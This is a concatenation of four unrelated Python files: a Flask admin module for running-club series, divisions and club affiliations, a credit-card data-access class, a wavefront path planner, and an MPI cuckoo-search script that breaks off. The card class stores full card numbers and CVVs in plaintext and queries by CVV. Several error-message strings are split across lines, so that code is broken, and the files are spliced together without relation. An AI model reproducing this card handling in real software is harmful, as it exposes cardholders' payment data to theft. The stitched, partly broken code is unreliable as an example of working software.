series_dbattrs = 'id,club_id,year,name,membersonly,calcoverall,calcdivisions,calcagegrade,orderby,minraces,'\
    'oaawards,divawards,tieoptions,'\
    'hightolow,allowties,averagetie,maxraces,multiplier,maxgenpoints,maxdivpoints,maxbynumrunners,races,options'.split(',')
series_formfields = 'rowid,club_id,year,name,membersonly,calcoverall,calcdivisions,calcagegrade,orderby,minraces,'\
    'oaawards,divawards,tieoptions,'\
    'hightolow,allowties,averagetie,maxraces,multiplier,maxgenpoints,maxdivpoints,maxbynumrunners,races,options'.split(',')
series_dbmapping = dict(list(zip(series_dbattrs, series_formfields)))
series_formmapping = dict(list(zip(series_formfields, series_dbattrs)))

# force default of club id and year for new or updated records
series_dbmapping['club_id'] = getclubid
series_dbmapping['year'] = getyear

class SeriesView(CrudApi):

    def setbuttons(self):
        buttons = ['create', 'edit', 'remove', 'csv',
                    {
                        'text': 'Copy From Year',
                        'name': 'series-copy-button',
                        'editor': {'eval': 'series_copy_saeditor.saeditor'},
                        'url': url_for('admin._copyseries'),
                        'action': {
                            'eval': f"series_copy_button(\"{url_for('admin._copyseries')}\")"
                        }
                    }
                  ]

        return buttons

series_view = SeriesView(
    app=bp,
    pagename='series',
    endpoint='.manageseries',
    rule='/manageseries',
    template='series.jinja2',
    templateargs={'adminguide': adminguide},
    dbmapping=series_dbmapping,
    formmapping=series_formmapping,
    permission=lambda: UpdateClubDataPermission(flask.session['club_id']).can,
    dbtable=Series,
    queryparams={'active': True},
    checkrequired=True,
    clientcolumns=[
        {'data': 'name', 'name': 'name', 'label': 'Series Name', '_unique': True,
         'className': 'field_req',
         },
        {'data': 'maxraces', 'name': 'maxraces', 'label': 'Max Races',
         'class': 'column-center',
         },
        {'data': 'multiplier', 'name': 'multiplier', 'label': 'Multiplier',
         'class': 'column-center',
         },
        {'data': 'maxgenpoints', 'name': 'maxgenpoints', 'label': 'Max Gen Pts',
         'class': 'column-center',
         },
        {'data': 'maxdivpoints', 'name': 'maxdivpoints', 'label': 'Max Div Pts',
         'class': 'column-center',
         },
        {'data': 'maxbynumrunners', 'name': 'maxbynumrunners', 'label': 'Max by Num Rnrs',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'maxbynumrunners', 'dbfield': 'maxbynumrunners', 'truedisplay': 'yes', 'falsedisplay': 'no'}},
         },
        {'data': 'orderby', 'name': 'orderby', 'label': 'Order By', 'type': 'select2',
         'className': 'field_req',
         'class': 'column-center',
         'options': ['agtime','agpercent','time','overallplace'],
         },
        {'data': 'hightolow', 'name': 'hightolow', 'label': 'Order', 'type': 'select2',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'hightolow', 'dbfield': 'hightolow', 'truedisplay': 'descending', 'falsedisplay': 'ascending'}},
         },
        {'data': 'membersonly', 'name': 'membersonly', 'label': 'Members Only',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'membersonly', 'dbfield': 'membersonly', 'truedisplay': 'yes', 'falsedisplay': 'no'}}},
        {'data': 'averagetie', 'name': 'averagetie', 'label': 'Avg Ties',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'averagetie', 'dbfield': 'averagetie', 'truedisplay': 'yes', 'falsedisplay': 'no'}}},
        {'data': 'calcoverall', 'name': 'calcoverall', 'label': 'Overall',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'calcoverall', 'dbfield': 'calcoverall', 'truedisplay': 'yes', 'falsedisplay': 'no'}}},
        {'data': 'calcdivisions', 'name': 'calcdivisions', 'label': 'Divisions',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'calcdivisions', 'dbfield': 'calcdivisions', 'truedisplay': 'yes', 'falsedisplay': 'no'}}},
        {'data': 'calcagegrade', 'name': 'calcagegrade', 'label': 'Age Grade',
         'className': 'field_req',
         'class': 'column-center',
         '_treatment': {'boolean': {'formfield': 'calcagegrade', 'dbfield': 'calcagegrade', 'truedisplay': 'yes', 'falsedisplay': 'no'}}},
        {'data': 'minraces', 'name': 'minraces', 'label': 'Place Min Races',
         'class': 'column-center',
         },
        {'data': 'oaawards', 'name': 'oaawards', 'label': '# OA Awards',
         'class': 'column-center',
         },
        {'data': 'divawards', 'name': 'divawards', 'label': '# Div Awards',
         'class': 'column-center',
         },
        {'data': 'tieoptions', 'name': 'tieoptions', 'label': 'Tiebreaker Options',
         'type': 'checkbox',
         'ed': {
             'options': SERIES_TIE_OPTIONS,
             'separator': SERIES_TIE_OPTION_SEPARATOR,
         }
         },
        {'data': 'options', 'name': 'options', 'label': 'Other Series Options',
         'type': 'checkbox',
         'ed': {
             'options': SERIES_OPTIONS,
             'separator': SERIES_OPTION_SEPARATOR,
         }
         },
        {'data': 'races', 'name': 'races', 'label': 'Races', 'type': 'select2',
         '_treatment': {'relationship':
             {
                 'dbfield': 'races',
                 'fieldmodel': Race,
                 'labelfield': 'name',
                 'formfield': 'races',
                 'uselist': True,
                 'queryparams': lambda: {'club_id': flask.session['club_id'], 'year': flask.session['year']}
             }
         },
         'render': '$.fn.dataTable.render.ellipsis( 20 )',
         },
    ],
    serverside=False,
    byclub=True,
    byyear=True,
    addltemplateargs={'inhibityear': False},
    idSrc='rowid',
    buttons=lambda: series_view.setbuttons(),
    dtoptions={
        'order': [['name:name', 'asc']],
    },
    )
series_view.register()

class AjaxCopySeries(MethodView):

    def get(self):
        try:
            # verify user can write the data, otherwise abort (adapted from loutilities.tables._editormethod)
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            clubs = [c for c in Club.query.all() if ViewClubDataPermission(c.id)]
            options = {}
            for club in clubs:
                # Series.query... returns like [(2021,), (2020,)]
                years = [y[0] for y in Series.query.filter_by(club_id=club.id).with_entities(Series.year).distinct().all()]
                if years:
                    years.sort()
                    options[club.name] = {'option': {'label':club.name, 'value':club.id}, 'years': years}

            # return select options
            return jsonify(options=options, values={})

        except Exception as e:
            exc = ''.join(format_exception_only(type(e), e))
            output_result = {'status': 'fail', 'error': 'exception occurred:
{}'.format(exc)}
            # roll back database updates and close transaction
            db.session.rollback()
            current_app.logger.error(format_exc())
            return jsonify(output_result)

    def post(self):
        try:
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            # get requested year to copy and current year
            requestdata = get_request_data(request.form)
            fromclubid = requestdata['keyless']['club']
            fromyear = requestdata['keyless']['year']
            force = requestdata['keyless']['force']
            thisyear = flask.session['year']

            # if some series exists for this year, verify user wants to overwrite
            thisyearseries = Series.query.filter_by(club_id=club_id,active=True,year=thisyear).all()
            if thisyearseries and not force=='true':
                db.session.rollback()
                return failure_response(cause='Overwrite series for this year?',confirm=True)

            # user has agreed to overwrite any series -- assume all are obsolete until overwritten
            obsoleteseries = {}
            for series in thisyearseries:
                obsoleteseries[series.name] = series

            # copy each entry from requested club/year
            for series in Series.query.filter_by(club_id=fromclubid,active=True,year=fromyear).all():
                newseries = Series(
                    club_id = series.club_id,
                    year = thisyear,
                    name = series.name,
                    membersonly = series.membersonly,
                    calcoverall = series.calcoverall,
                    calcdivisions = series.calcdivisions,
                    calcagegrade = series.calcagegrade,
                    orderby = series.orderby,
                    hightolow = series.hightolow,
                    allowties = series.allowties,
                    averagetie = series.averagetie,
                    options = series.options,
                    maxraces = series.maxraces,
                    multiplier = series.multiplier,
                    maxgenpoints = series.maxgenpoints,
                    maxdivpoints = series.maxdivpoints,
                    maxbynumrunners = series.maxbynumrunners,
                    active = series.active,
                    description = series.description,
                    oaawards = series.oaawards,
                    divawards = series.divawards,
                    minraces = series.minraces,
                    tieoptions = series.tieoptions,
                )
                insert_or_update(db.session,Series,newseries,name=newseries.name,year=thisyear,club_id=club_id,skipcolumns=['id'])

                # any series we updated is not obsolete
                if newseries.name in obsoleteseries:
                    obsoleteseries.pop(newseries.name)

            # remove obsolete series
            # TODO: is there any reason these should not be deleted?
            for seriesname in obsoleteseries:
                obsoleteseries[seriesname].active = False

            # commit database updates and close transaction
            db.session.commit()
            return success_response()

        except:
            # roll back database updates and close transaction
            db.session.rollback()
            raise
bp.add_url_rule('/_copyseries',view_func=AjaxCopySeries.as_view('_copyseries'),methods=['GET', 'POST'])

###########################################################################################
# managedivisions endpoint
###########################################################################################

divisions_dbattrs = 'id,club_id,year,series,divisionlow,divisionhigh'.split(',')
divisions_formfields = 'rowid,club_id,year,series,divisionlow,divisionhigh'.split(',')
divisions_dbmapping = dict(list(zip(divisions_dbattrs, divisions_formfields)))
divisions_formmapping = dict(list(zip(divisions_formfields, divisions_dbattrs)))

# force default of club id and year for new or updated records
divisions_dbmapping['club_id'] = getclubid
divisions_dbmapping['year'] = getyear

class DivisionsView(CrudApi):

    def setbuttons(self):
        buttons = ['create', 'edit', 'remove', 'csv',
                    {
                        'text': 'Copy From Year',
                        'name': 'division-copy-button',
                        'editor': {'eval': 'divisions_copy_saeditor.saeditor'},
                        'url': url_for('admin._copydivisions'),
                        'action': {
                            'eval': f"divisions_copy_button(\"{url_for('admin._copydivisions')}\")"
                        }
                    }
                  ]

        return buttons

divisions_view = DivisionsView(
    app=bp,
    pagename='divisions',
    endpoint='.managedivisions',
    rule='/managedivisions',
    template='divisions.jinja2',
    templateargs={'adminguide': adminguide},
    dbmapping=divisions_dbmapping,
    formmapping=divisions_formmapping,
    permission=lambda: UpdateClubDataPermission(flask.session['club_id']).can,
    dbtable=Divisions,
    queryparams={'active': True},
    checkrequired=True,
    clientcolumns=[
        {'data': 'series', 'name': 'series', 'label': 'Series', 'type': 'select2',
         'className': 'field_req',
         '_treatment': {'relationship':
             {
                 'dbfield': 'series',
                 'fieldmodel': Series,
                 'labelfield': 'name',
                 'formfield': 'series',
                 'uselist': False,
                 'queryparams': lambda: {'club_id': flask.session['club_id'], 'year': flask.session['year']}
             }
         },
         },
        {'data': 'divisionlow', 'name': 'divisionlow', 'label': 'Low Age',
         'className': 'field_req',
         'class': 'column-center',
         },
        {'data': 'divisionhigh', 'name': 'divisionhigh', 'label': 'High Age',
         'className': 'field_req',
         'class': 'column-center',
         },
    ],
    serverside=False,
    byclub=True,
    byyear=True,
    addltemplateargs={'inhibityear': False},
    idSrc='rowid',
    buttons=lambda: divisions_view.setbuttons(),
    dtoptions={
        'order': [['series.name:name', 'asc'], ['divisionlow:name',  'asc']],
    },
    )
divisions_view.register()

class AjaxCopyDivisions(MethodView):

    def get(self):
        try:
            # verify user can write the data, otherwise abort (adapted from loutilities.tables._editormethod)
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            clubs = [c for c in Club.query.all() if ViewClubDataPermission(c.id)]
            options = {}
            for club in clubs:
                # Divisions.query... returns like [(2021,), (2020,)]
                years = [y[0] for y in Divisions.query.filter_by(club_id=club.id).with_entities(Divisions.year).distinct().all()]
                if years:
                    years.sort()
                    options[club.name] = {'option': {'label':club.name, 'value':club.id}, 'years': years}

            # return select options
            return jsonify(options=options, values={})

        except Exception as e:
            exc = ''.join(format_exception_only(type(e), e))
            output_result = {'status': 'fail', 'error': 'exception occurred:
{}'.format(exc)}
            # roll back database updates and close transaction
            db.session.rollback()
            current_app.logger.error(format_exc())
            return jsonify(output_result)

    def post(self):
        try:
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            # get requested year to copy and current year
            requestdata = get_request_data(request.form)
            fromclubid = requestdata['keyless']['club']
            fromyear = requestdata['keyless']['year']
            force = requestdata['keyless']['force']
            thisyear = flask.session['year']

            # if some divisions exists for this year, verify user wants to overwrite
            thisyeardivisions = Divisions.query.filter_by(club_id=club_id,active=True,year=thisyear).all()
            if thisyeardivisions and not force=='true':
                db.session.rollback()
                return failure_response(cause='Overwrite divisions for this year?',confirm=True)

            # user has agreed to overwrite any divisions -- assume all are obsolete until overwritten
            obsoletedivisions = {}
            for division in thisyeardivisions:
                obsoletedivisions[(division.seriesid,division.divisionlow,division.divisionhigh)] = division

            # check if series exist
            seriesfound = False

            # copy each entry from requested club/year
            for division in Divisions.query.filter_by(club_id=fromclubid,active=True,year=fromyear).all():
                series = Series.query.filter_by(club_id=club_id,active=True,year=thisyear,name=division.series.name).first()
                if series:
                    seriesfound = True
                    newdivision = Divisions(
                        club_id=club_id,
                        year=thisyear,
                        seriesid=series.id,
                        divisionlow=division.divisionlow,
                        divisionhigh=division.divisionhigh,
                        active=division.active,
                    )
                    insert_or_update(db.session,Divisions,newdivision,year=thisyear,club_id=club_id,
                        seriesid=newdivision.seriesid, divisionlow=newdivision.divisionlow, divisionhigh=newdivision.divisionhigh,
                        skipcolumns=['id'])

                    # any divisions we updated is not obsolete
                    if (newdivision.seriesid,newdivision.divisionlow,newdivision.divisionhigh) in obsoletedivisions:
                        obsoletedivisions.pop((newdivision.seriesid,newdivision.divisionlow,newdivision.divisionhigh))

            if not seriesfound:
                db.session.rollback()
                return failure_response(cause='No divisions copied -- did you copy or create series first?')

            # remove obsolete divisions
            for (seriesid,divisionlow,divisionhigh) in obsoletedivisions:
                db.session.delete(obsoletedivisions[(seriesid,divisionlow,divisionhigh)])

            # commit database updates and close transaction
            db.session.commit()
            return success_response()

        except:
            # roll back database updates and close transaction
            db.session.rollback()
            raise
bp.add_url_rule('/_copydivisions',view_func=AjaxCopyDivisions.as_view('_copydivisions'),methods=['GET', 'POST'])

###########################################################################################
# clubaffiliation_view endpoint
###########################################################################################

clubaffiliations_dbattrs = 'id,club_id,year,shortname,title,alternates'.split(',')
clubaffiliations_formfields = 'rowid,club_id,year,shortname,title,alternates'.split(',')
clubaffiliations_dbmapping = dict(list(zip(clubaffiliations_dbattrs, clubaffiliations_formfields)))
clubaffiliations_formmapping = dict(list(zip(clubaffiliations_formfields, clubaffiliations_dbattrs)))

def get_clubaffiliations_alternates(dbrow):
    if not dbrow.alternates:
        return []
    else:
        # return lower case alternates, removing duplicates
        alternates = []
        for alternate in [a.lower() for a in dbrow.alternates.split(CLUBAFFILIATION_ALTERNATES_SEPARATOR)]:
            if alternate not in alternates:
                alternates.append(alternate)
        return alternates

clubaffiliations_formmapping['alternates'] = get_clubaffiliations_alternates

# force default of club id and year for new or updated records
clubaffiliations_dbmapping['club_id'] = getclubid
clubaffiliations_dbmapping['year'] = getyear

def clubaffiliations_validate(action, formdata):
    results = []

    club_id = getclubid(formdata)
    allclubs = ClubAffiliation.query.filter_by(club_id=club_id).filter(ClubAffiliation.shortname != formdata['shortname']).all()
    clubalternates = set()
    for club in allclubs:
        if club.alternates:
            thosealternates = set([a.lower() for a in club.alternates.split(CLUBAFFILIATION_ALTERNATES_SEPARATOR)])
            clubalternates |= thosealternates
    thesealternates = []
    if formdata['title']:
        thesealternates += [formdata['title']]
    if formdata['alternates']:
        thesealternates += [a for a in formdata['alternates'].split(CLUBAFFILIATION_ALTERNATES_SEPARATOR) if a not in thesealternates]
    badalternates = [a for a in thesealternates if a.lower() in clubalternates]

    if badalternates:
        badaltrender = ', '.join(badalternates)
        results.append({'name': 'shortname', 'status': f'conflicting official name / alternates: {badaltrender}'})

    return results

class ClubAffiliationsView(CrudApi):
    def update_alternates(self, formdata):
        """
        make sure title, shortname are in alternates
        """
        alternateitems = formdata['alternates'].split(CLUBAFFILIATION_ALTERNATES_SEPARATOR) if formdata['alternates'] else []
        if formdata['title'].lower() not in alternateitems:
            alternateitems.insert(0, formdata['title'].lower())
        # be careful not to include shortname == None
        if formdata['shortname'] and formdata['shortname'].lower() not in alternateitems:
            alternateitems.insert(0, formdata['shortname'].lower())
        formdata['alternates'] = CLUBAFFILIATION_ALTERNATES_SEPARATOR.join(alternateitems) if alternateitems else None

    def createrow(self, formdata):
        self.update_alternates(formdata)
        return super().createrow(formdata)

    def updaterow(self, thisid, formdata):
        self.update_alternates(formdata)
        return super().updaterow(thisid, formdata)

    def setbuttons(self):
        buttons = ['create', 'edit', 'remove', 'csv',
                    {
                        'text': 'Copy From Year',
                        'name': 'clubaffiliations-copy-button',
                        'editor': {'eval': 'clubaffiliations_copy_saeditor.saeditor'},
                        'url': url_for('admin._copyclubaffiliations'),
                        'action': {
                            'eval': f"clubaffiliations_copy_button(\"{url_for('admin._copyclubaffiliations')}\")"
                        }
                    }
                  ]

        return buttons

clubaffiliations_view = ClubAffiliationsView(
    app=bp,
    template='clubaffiliations.jinja2',
    templateargs={'adminguide': adminguide},
    pagename='Club Affiliations',
    endpoint='.clubaffiliations',
    rule='/clubaffiliations',
    dbmapping=clubaffiliations_dbmapping,
    formmapping=clubaffiliations_formmapping,
    permission=lambda: UpdateClubDataPermission(flask.session['club_id']).can,
    validate=clubaffiliations_validate,
    dbtable=ClubAffiliation,
    checkrequired=True,
    clientcolumns=[
        {'data': 'shortname', 'name': 'shortname', 'label': 'Display Name',
         },
        {'data': 'title', 'name': 'title', 'label': 'Official Name',
         'className': 'field_req',
         },
        # see clubaffiliations_formmapping and RaceResults.js clubaffiliations() editor.on('initEdit', ...
        {'data': 'alternates', 'name': 'alternates', 'label': 'Alternate Names',
         'dt': {
             'render': {'eval': f'render_select_as_tags()'},
         },
         'type': 'select2',
         'separator': CLUBAFFILIATION_ALTERNATES_SEPARATOR,
         'options': [],
         'opts': {
             'multiple': 'multiple',
             'tags': True,
         }
         },
    ],
    serverside=False,
    byclub=True,
    byyear=True,
    addltemplateargs={'inhibityear': False},
    idSrc='rowid',
    buttons=lambda: clubaffiliations_view.setbuttons()
    )
clubaffiliations_view.register()

class AjaxCopyClubAffiliations(MethodView):

    def get(self):
        try:
            # verify user can write the data, otherwise abort (adapted from loutilities.tables._editormethod)
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            clubs = [c for c in Club.query.all() if ViewClubDataPermission(c.id)]
            options = {}
            for club in clubs:
                # ClubAffiliation.query... returns like [(2021,), (2020,)]
                years = [y[0] for y in ClubAffiliation.query.filter_by(club_id=club.id).with_entities(ClubAffiliation.year).distinct().all()]
                if years:
                    years.sort()
                    options[club.name] = {'option': {'label':club.name, 'value':club.id}, 'years': years}

            # return select options
            return jsonify(options=options, values={})

        except Exception as e:
            exc = ''.join(format_exception_only(type(e), e))
            output_result = {'status': 'fail', 'error': 'exception occurred:
{}'.format(exc)}
            # roll back database updates and close transaction
            db.session.rollback()
            current_app.logger.error(format_exc())
            return jsonify(output_result)

    def post(self):
        try:
            club_id = flask.session['club_id']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            # get requested year to copy and current year
            requestdata = get_request_data(request.form)
            fromclubid = requestdata['keyless']['club']
            fromyear = requestdata['keyless']['year']
            force = requestdata['keyless']['force']
            thisyear = flask.session['year']

            # if some items exists for this year, verify user wants to overwrite
            thisyearitems = ClubAffiliation.query.filter_by(club_id=club_id, year=thisyear).all()
            if thisyearitems and not force=='true':
                db.session.rollback()
                return failure_response(cause='Overwrite club affiliations for this year?', confirm=True)

            # user has agreed to overwrite any items -- assume all are obsolete until overwritten
            obsoleteitems = {}
            for item in thisyearitems:
                obsoleteitems[item.shortname] = item

            # copy each entry from requested club/year
            for item in ClubAffiliation.query.filter_by(club_id=fromclubid, year=fromyear).all():
                newitem = ClubAffiliation(club_id=club_id, year=thisyear, shortname=item.shortname, title=item.title, alternates=item.alternates)
                insert_or_update(db.session, ClubAffiliation, newitem, year=thisyear, club_id=club_id, shortname=item.shortname, skipcolumns=['id'])

                # any items we updated is not obsolete
                if newitem.shortname in obsoleteitems:
                    obsoleteitems.pop(newitem.shortname)

            # remove obsolete items
            for shortname in obsoleteitems:
                db.session.delete(obsoleteitems[shortname])

            # commit database updates and close transaction
            db.session.commit()
            return success_response()

        except:
            # roll back database updates and close transaction
            db.session.rollback()
            raise
bp.add_url_rule('/_copyclubaffiliations',view_func=AjaxCopyClubAffiliations.as_view('_copyclubaffiliations'),methods=['GET', 'POST'])


from config.db_config import db_config
import psycopg2

class CreditCardDAO:
    def __init__(self):
        connection_url = "dbname=%s user=%s password=%s host = 'localhost'" % (db_config['dbname'],
                                                                               db_config['user'],
                                                                               db_config['psswd'])
        self.conn = psycopg2._connect(connection_url)

################################POST METHODS###########################################
    ####Insert a la tabla de CreditCard
    def insert(self, uid, ccNumber, cvv, ccExpirationDate):
        cursor = self.conn.cursor()
        query = "insert into creditCard(uid,ccNumber,cvv,ccExpirationDate) values (%s, %s, %s, %s);"
        cursor.execute(query, (uid, ccNumber, cvv, ccExpirationDate,))
        self.conn.commit()
        return uid
#########################################################################################

################################UPDATE METHODS###########################################

    ####Update a la tabla de creditCard
    def update(self, uid, ccNumber, cvv, ccExpirationDate):
        cursor = self.conn.cursor()
        query = "update creditCard set ccNumber = %s, cvv = %s, ccExpirationDate = %s where uid = %s;"
        cursor.execute(query, (ccNumber, cvv, ccExpirationDate, uid,))
        self.conn.commit()
        return uid
######################################################################################

#############################GET METHODS#############################################

    def getAllCategory(self):
      cursor = self.conn.cursor()
      query = "select * from creditcard;"
      cursor.execute(query)
      result = []
      for row in cursor:
          result.append(row)
      return result

    def getCreditCardWithAllAttributes(self, ccNumber, cvv, ccExpirationDate):
        cursor = self.conn.cursor()
        query = "select * from creditcard where ccNumber = %s and cvv = %s and ccExpirationDate= %s;"
        cursor.execute(query, (ccNumber, cvv, ccExpirationDate,))
        result = cursor.fetchone()
        return result

    def getCreditCardByccNumber(self, ccNumber):
        cursor = self.conn.cursor()
        query = "select * from creditcard where ccNumber = %s;"
        cursor.execute(query, (ccNumber,))
        result = cursor.fetchone()
        return result

    def getCreditCardBycvv(self, cvv):
        cursor = self.conn.cursor()
        query = "select * from creditcard where cvv = %s;"
        cursor.execute(query, (cvv,))
        result = cursor.fetchone()
        return result

    def getCreditCardByExpirationDate(self, ccExpirationDate):
        cursor = self.conn.cursor()
        query = "select * from creditcard where ccExpirationDate = %s;"
        cursor.execute(query, (ccExpirationDate,))
        result = cursor.fetchone()
        return result

    def getCreditCardByCCID(self,ccid):
        cursor = self.conn.cursor()
        query = "select * from creditcard where ccid = %s;"
        cursor.execute(query, (ccid,))
        result = cursor.fetchone()
        return result

    def getCreditCardByUid(self, uid):
        cursor = self.conn.cursor()
        query = "select * from creditcard where uid=%s;"
        cursor.execute(query, (uid, ))
        result = cursor.fetchone()
        return result


from PIL import Image
from AuxAlgebra import Inf
import sys
sys.setrecursionlimit(1500)

class WaveFront():
    _GOAL_COST = 2
    _OBSTACLE_COST = Inf
    _NULL_COST = 0
    def __init__(self,image_path,map_size):
        self.map_size = [float(x) for x in map_size]
        self.read_image(Image.open(image_path, "r"))

    def read_image(self,image):
        self.image = image
        self.width, self.height = self.image.size
        self.pixels_values = list(self.image.getdata())
        self.scale = [self.map_size[0]/self.width, self.map_size[1]/self.height]

    def discrete(self,ds):
        dp = [ds[0]/self.scale[0], ds[1]/self.scale[1]]
        self.dp = [max(x,1) for x in dp]
        newsize = [round(x) for x in [self.width/dp[0], self.height/dp[1]]]
        self.read_image(self.image.resize(newsize, Image.ANTIALIAS))

    def get_pixel_by_position2D(self,q):
        x = min(max(round((q[0] + self.map_size[0]/2))/self.scale[0], 0), self.width-1)
        y = min(max(round((-q[1] + self.map_size[1]/2))/self.scale[1], 0), self.height-1)
        return (int(x), int(y))

    def compute_path(self, q_init, q_goal):
        pass

    def propagate_wave(self, q_goal,expand_obstacles=False):
        x_goal_pixel, y_goal_pixel = self.get_pixel_by_position2D(q_goal)
        computed_map = []
        for P in self.pixels_values:
            obstacle = not ((P[0] + P[1] + P[2])/(3*255) > 0) # Black pixel
            if obstacle:
                cost = self._OBSTACLE_COST
            else:
                cost = self._NULL_COST
            computed_map.append( [obstacle,cost] )
        if expand_obstacles:
            self.computed_map = self.expand_obstacles_in_map(computed_map)
        computed_map[y_goal_pixel*self.height + x_goal_pixel][1] = self._GOAL_COST
        self.computed_map = WaveFront.wave_front(computed_map, (self.width, self.height), self._GOAL_COST, self._NULL_COST)

    def expand_obstacles_in_map(self,computed_map):
        new_computed_map = computed_map
        for i in range(self.height):
            for j in range(self.width):
                if computed_map[i*self.height + j][0] == True:
                    if i+1 < self.height:
                        new_computed_map[(i+1)*self.height + j][1] = self._OBSTACLE_COST
                    if i-1 >= 0:
                        new_computed_map[(i-1)*self.height + j][1] = self._OBSTACLE_COST
                    if j+1 < self.width:
                        new_computed_map[i*self.height + (j+1)][1] = self._OBSTACLE_COST
                    if j-1 >= 0:
                        new_computed_map[i*self.height + (j-1)][1] = self._OBSTACLE_COST
        return new_computed_map

    def get_pixel_cost(self, q_pixel):
        x_pixel, y_pixel = q_pixel
        return self.computed_map[y_pixel*self.height + x_pixel][1]

    def get_next_pixel(self,q_pixel):
        x_pixel, y_pixel = q_pixel
        actual_cost = self.computed_map[y_pixel*self.height + x_pixel][1]
        if actual_cost == self._GOAL_COST:
            # Reached
            return (0,0)
        if y_pixel+1 < self.height:
            if self.computed_map[(y_pixel+1)*self.height + x_pixel][1] == actual_cost - 1:
                return (0,-1)
        if y_pixel-1 >= 0:
            if self.computed_map[(y_pixel-1)*self.height + x_pixel][1] == actual_cost - 1:
                return (0,1)
        if x_pixel+1 < self.width:
            if self.computed_map[y_pixel*self.height + (x_pixel+1)][1] == actual_cost - 1:
                return (1,0)
        if x_pixel-1 >= 0:
            if self.computed_map[y_pixel*self.height + (x_pixel-1)][1] == actual_cost - 1:
                return (-1,0)
        # No route to goal
        return (0,0)

    @staticmethod
    def wave_front(computed_map, image_size, actual_cost, null_cost, max_cost=999):
        if actual_cost == max_cost:
            return computed_map
        image_width, image_height = image_size
        next_cost = actual_cost+1
        for i in range(image_height):
            for j in range(image_width):
                P = computed_map[i*image_height + j]
                if P[1] == actual_cost:
                    if i+1 < image_height:
                        if computed_map[(i+1)*image_height + j][1] == null_cost:
                            computed_map[(i+1)*image_height + j][1] = next_cost
                    if i-1 >= 0:
                        if computed_map[(i-1)*image_height + j][1] == null_cost:
                            computed_map[(i-1)*image_height + j][1] = next_cost
                    if j+1 < image_width:
                        if computed_map[i*image_height + (j+1)][1] == null_cost:
                            computed_map[i*image_height + (j+1)][1] = next_cost
                    if j-1 >= 0:
                        if computed_map[i*image_height + (j-1)][1] == null_cost:
                            computed_map[i*image_height + (j-1)][1] = next_cost
        return WaveFront.wave_front(computed_map, image_size, next_cost, null_cost)

    def __str__(self):
        string = ''
        for i in range(self.height):
            for j in range(self.width):
                P = self.computed_map[i*self.height + j]
                if P[1] == self._OBSTACLE_COST:
                    string = string + 'XX' + ' '
                else:
                    string = string + "{:02d}".format(P[1]) + ' '
            string = string + '\n'
        return string

    def show_image(self):
        self.image.show()

    def get_pixels(self):
        return self.pixels


#!/usr/bin/env python

#rank==0 means master node

from mpi4py import MPI
from inp1000 import inputMatrix
from random import uniform
from random import randint
import math
comm=MPI.COMM_WORLD
rank=comm.Get_rank()
size=comm.Get_size()

distanceMatrix = inputMatrix

def levyFlight(u):
	return math.pow(u,-1.0/3.0)#returns u^(-0.333)

def randF():
	return uniform(0.0001,0.9999)

def calculateDistance(path):
	index = path[0]
#	distanceMatrix[index][0]=rank #?
#supposed to do something here to make sure the values dont repeat accross nodes right now its 6 in all nodes
	distance = 0
	for nextIndex in path[1:]:
		distance += distanceMatrix[index][nextIndex]
		index = nextIndex
	return distance+distanceMatrix[path[-1]][path[0]];

def swap(sequence,i,j):
        temp = sequence[i]
        sequence[i]=sequence[j]
        sequence[j]=temp

def twoOptMove(nest,a,c):
	nest = nest[0][:]
	swap(nest,a,c)
	return (nest,calculateDistance(nest))

def doubleBridgeMove(nest,a,b,c,d):
	nest = nest[0][:]
	swap(nest,a,b)
	swap(nest,b,d)
	return (nest , calculateDistance(nest))

numNests = 10
pa = int(0.2*numNests)
pc = int(0.6*numNests)

maxGen = 50

n = len(inputMatrix)

nests = []
nest1 = []  #list()
fin=list()
initPath=list(range(0,n))
index = 0
swap(initPath,1,rank*40)
#print(initPath)
for i in range(numNests):
	if index == n-1:
		index = 0
	swap(initPath,index,index+1)
	index+=1
	nests.append((initPath[:],calculateDistance(initPath)))
#print(initPath)
#print(nests)

nests.sort(key=lambda tup: tup[1])
#print(nests)

for t in range(maxGen):
	cuckooNest = nests[randint(0,pc)]
	if(levyFlight(randF())>2):
		cuckooNest = doubleBridgeMove(cuckooNest,randint(0,n-1),randint(0,n-1),randint(0,n-1),randint(0,n-1))
	else:
		cuckooNest = twoOptMove(cuckooNest,randint(0,n-1),randint(0,n-1))
	randomNestIndex = randint(0,numNests-1)
	if(nests[randomNestIndex][1]>cuckooNest[1]):
		nests[randomNestIndex] = cuckooNest
	for i in range(numNests-pa,numNests):
		nests[i] = twoOptMove(nests[i],randint(0,n-1),randint(0,n-1))
	nests.sort(key=lambda tup: tup[1])
if(rank==0):
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
	print("CUCKOO SOLUTION from Master:")
	print(nests[0])
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
if(rank==1):
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
